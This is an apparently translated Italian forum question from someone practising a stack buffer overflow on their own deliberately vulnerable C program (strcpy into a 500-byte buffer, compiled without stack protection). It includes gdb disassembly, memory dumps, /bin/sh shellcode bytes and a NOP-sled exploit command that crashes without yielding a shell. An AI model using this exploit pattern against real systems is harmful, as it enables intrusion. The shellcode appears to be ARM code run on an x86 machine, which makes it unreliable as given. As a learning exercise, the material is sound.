Fondamentalmente sto cercando di sfruttare un overflow del buffer, ma sfortunatamente non riesco a ottenere la shell.
Script buf.c :
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
char buf[500];
strcpy(buf, argv[1]);
printf("Entered: %s\n", buf);
return 0;
}
compilazione come di seguito:
gcc -g buf.c -o buf --no-stack-protector
così precisamente il $ebp
deve essere sorvolato di 516 byte, come ho capito che dici? qui di seguito:
gdb:
run $(python -c "print('A'*516)")
a partire da 500 byte fino a quando non ottengo 0x41414141
:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
il punto di inizio di buffer
in $esp
è 0xbffff02c :
di seguito è come ho capito:
(gdb) disass main
Dump of assembler code for function main:
0x0804844d <+0>: push %ebp
0x0804844e <+1>: mov %esp,%ebp
0x08048450 <+3>: and $0xfffffff0,%esp
0x08048453 <+6>: sub $0x210,%esp
0x08048459 <+12>: mov 0xc(%ebp),%eax
0x0804845c <+15>: add $0x4,%eax
0x0804845f <+18>: mov (%eax),%eax
0x08048461 <+20>: mov %eax,0x4(%esp)
0x08048465 <+24>: lea 0x1c(%esp),%eax
0x08048469 <+28>: mov %eax,(%esp)
0x0804846c <+31>: call 0x8048320 <strcpy@plt>
0x08048471 <+36>: lea 0x1c(%esp),%eax
0x08048475 <+40>: mov %eax,0x4(%esp)
0x08048479 <+44>: movl $0x8048520,(%esp)
0x08048480 <+51>: call 0x8048310 <printf@plt>
0x08048485 <+56>: mov $0x0,%eax
0x0804848a <+61>: leave
0x0804848b <+62>: ret
End of assembler dump.
quindi ho creato un punto di interruzione a break *0x08048475
e poi ha eseguito il programma come:
run $(python -c "print('A'*516)")
e quindi:
(gdb) x/200wx $esp
0xbffff010: 0xbffff02c 0xbffff436 0x00000001 0x00000000
0xbffff020: 0x00000001 0xb7fdc1b0 0xb7fff000 0x41414141
0xbffff030: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff040: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff050: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff060: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff070: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff080: 0x41414141 0x41414141 0x41414141 0x41414141
... more
come puoi vedere il punto di inizio di buffer
è 0xbffff02c .
il mio shellcode è:
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a
\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68
preso da: link
che è 34 byte
quindi 516-34 = 482
e infine l'exploit:
run $(python -c "print('\x90'*482+'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68'+'\x2c\xf0\xff\xbf')")
e ottengo:
Starting program: /home/pt/buf $(python -c "print('\x90'*482+'\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68'+'\x2c\xf0\xff\xbf')") Entered: ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������0�/�xF0�I�'�Q7�/bin//sh,���
Program received signal SIGSEGV, Segmentation fault. 0x68732f2f in ?? ()
Purtroppo nessuna shell: (
la mia versione di linux: Linux BackboxPTv1 3.11.0-15-generic #23~precise1-Ubuntu SMP Tue Dec 10 16:43:53 UTC 2013 i686 i686 i686 GNU/Linux